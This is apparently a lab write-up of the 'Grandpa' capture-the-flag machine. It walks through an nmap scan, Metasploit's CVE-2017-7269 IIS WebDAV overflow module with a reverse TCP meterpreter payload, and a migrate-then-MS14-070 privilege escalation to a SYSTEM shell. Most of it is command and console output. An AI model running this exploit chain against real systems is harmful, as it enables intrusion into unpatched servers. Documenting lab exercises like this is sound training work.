



Grandpa

Running nmap we'll get this output

```
PORT      STATE SERVICE VERSION
80/tcp    open  http      Microsoft IIS httpd 6.0
|_ http-methods:
|_  Potentially risky methods: TRACE DELETE COPY MOVE PROPFIND PROPPATCH SEARCH MKCOL LOCK UNLOCK PUT
|_ http-title: Under Construction
|_ http-webdav-scan:
|_  Allowed Methods: OPTIONS, TRACE, GET, HEAD, DELETE, COPY, MOVE, PROPFIND, PROPPATCH, SEARCH, MKCOL, LOCK, UNLOCK
|_  WebDAV type: Unknown
|_  Server Date: Sat, 05 Dec 2020 16:15:08 GMT
|_  Server Type: Microsoft-IIS/6.0
|_  Public Options: OPTIONS, TRACE, GET, HEAD, DELETE, PUT, POST, COPY, MOVE, MKCOL, PROPFIND, PROPPATCH, LOCK, UNLOCK, SEARCH
```

Now we know that Microsoft IIS 6.0 is running on this machine and as always google is our friend

Remote code execution in Microsoft IIS 6.0

Published: 2017-03-28



Risk	Critical
Patch available	YES
Number of vulnerabilities	1
CVE ID	CVE-2017-7269
CWE ID	CWE-119
Exploitation vector	Network
Public exploit	This vulnerability is being exploited in the wild.
Vulnerable software	Microsoft IIS
	Server applications / Web servers
	Windows Server
	Operating systems & Components / Operating system
	Windows
	Operating systems & Components / Operating system

Subscribe

<https://www.cybersecurity-help.cz/vdb/SB2017032801>

Ad fortunately metasploit have what we need: search cve:2017-7269

```
msf
msf6 exploit(multi/handler) > search CVE:2017-7269

Matching Modules
=====
#  Name                                     Disclosure Date  Rank  Check  Description
--  ---                                     -
0  exploit/windows/iis/iis_webdav_scstoragepathfromurl  2017-03-26      manual Yes    Microsoft IIS WebDav ScStoragePathFromUrl Overflow

Interact with a module by name or index. For example info 0, use 0 or use exploit/windows/iis/iis_webdav_scstoragepathfromurl

msf6 exploit(multi/handler) > use 0
[*] Using configured payload windows/meterpreter/reverse_tcp
msf6 exploit(windows/iis/iis_webdav_scstoragepathfromurl) > options

Module options (exploit/windows/iis/iis_webdav_scstoragepathfromurl):

  Name      Current Setting  Required  Description
  ----      -
MAXPATHLENGTH 60              yes       End of physical path brute force
MINPATHLENGTH 3                yes       Start of physical path brute force
Proxies      10.10.10.15      no        A proxy chain of format type:host:port[,type:host:port][...]
RHOSTS       10.10.10.15      yes       The target host(s), range CIDR identifier, or hosts file with syntax 'file:<path>'
RPORT        80               yes       The target port (TCP)
SSL          false            no        Negotiate SSL/TLS for outgoing connections
TARGETURI    /                yes       Path of IIS 6 web application
VHOST        /                no        HTTP server virtual host

Payload options (windows/meterpreter/reverse_tcp):

  Name      Current Setting  Required  Description
  ----      -
EXITFUNC   process          yes       Exit technique (Accepted: '', seh, thread, process, none)
LHOST      10.10.14.11      yes       The listen address (an interface may be specified)
LPORT      4444             yes       The listen port

Exploit target:

  Id  Name
  --  ---
0     Microsoft Windows Server 2003 R2 SP2 x86
```

Once we're in we can start looking for the privilege escalation.

Using the exploit suggestor of metasploit "post/multi/recon/local_exploit_suggestor" with the current session we get some possible exploit but one is more interesting than the other

```
exploit/windows/local/ms14_070_tcpip_ioctl
```

But running it we get an error, we haven't the privilege for completing this exploit.

Looking at the active process we can see this:

```
Parrot Terminal
meterpreter > background
[*] Backgrounding session 1...
msf6 exploit(windows/local/ms14_070_tcpip_ioctl) > run

[*] Started reverse TCP handler on 10.10.14.7:4444
[*] Exploit failed: Rex::Post::Meterpreter::RequestError 1054: Operation failed: Access is denied.
[*] Exploit completed, but no session was created.
msf6 exploit(windows/local/ms14_070_tcpip_ioctl) > sessions -i 1
[*] Starting interaction with 1...

meterpreter > ps

Process List
=====
PID  PPID  Name              Arch  Session  User              Path
---  ---
0    0      [System Process]
4    0      System
272  4      smss.exe
324  272  csrss.exe
348  272  winlogon.exe
396  348  services.exe
408  348  lsass.exe
616  396  svchost.exe
680  396  svchost.exe
720  396  svchost.exe
768  396  svchost.exe
800  396  svchost.exe
936  396  spoolsv.exe
964  396  msdtc.exe
984  1076  cidaemon.exe
1076  396  cisvc.exe
1124  396  svchost.exe
1180  396  inetinfo.exe
1204  1076  cidaemon.exe
1216  396  svchost.exe
1332  396  VGAuthService.exe
1388  1076  cidaemon.exe
1392  396  vmtoolsd.exe
1464  396  svchost.exe
1604  396  svchost.exe
1708  396  alg.exe
1844  616  wmiiprvse.exe      x86   0       NT AUTHORITY\NETWORK SERVICE  C:\WINDOWS\system32\wbem\wmiiprvse.exe
```

There's a process by <NT AUTHORITY> we can try to migrate on that one

Let's try to migrate on that process running "migrate <process id>" in the meterpreter console and retry the priv escalation exploit

```
Parrot Terminal
File Edit View Search Terminal Help
1204 1076 cidaemon.exe
1216 396 svchost.exe
1332 396 VGAuthService.exe
1388 1076 cidaemon.exe
1392 396 vmtoolsd.exe
1464 396 svchost.exe
1604 396 svchost.exe
1788 396 alg.exe
1844 616 wmiiprvse.exe x86 0 NT AUTHORITY\NETWORK SERVICE C:\WINDOWS\system32\wbem\wmiiprvse.exe
1920 396 dlhosh.exe
2184 1464 w3wp.exe x86 0 NT AUTHORITY\NETWORK SERVICE c:\windows\system32\inetrv\w3wp.exe
2256 616 davcdats.exe x86 0 NT AUTHORITY\NETWORK SERVICE C:\WINDOWS\system32\inetrv\davcdats.exe
2272 348 logon.scr
2304 2184 rundll32.exe x86 0 C:\WINDOWS\system32\rundll32.exe
2484 616 wmiiprvse.exe

meterpreter > migrate 1844
[*] Migrating from 2304 to 1844...
[*] Migration completed successfully.
meterpreter > background
[*] Backgrounding session 1...
msf6 exploit(windows/local/ms14_070_tcpip_ioctl) > run
[*] Started reverse TCP handler on 10.10.14.7:4444
[*] Storing the shellcode in memory...
[*] Triggering the vulnerability...
[*] Checking privileges after exploitation...
[*] Exploitation successful!
[*] Sending stage (175174 bytes) to 10.10.10.15
[*] Meterpreter session 2 opened (10.10.14.7:4444 -> 10.10.10.15:1031) at 2020-12-08 17:46:21 +0800

meterpreter > whoami
[*] Unknown command: whoami.
meterpreter > shell
Process 2928 created.
Channel 1 created.
Microsoft Windows [Version 5.2.3790]
(C) Copyright 1985-2003 Microsoft Corp.

C:\WINDOWS\system32>whoami
whoami
nt authority\system

C:\WINDOWS\system32>
```

Now we're "nt authority" and we have the complete access to this machine!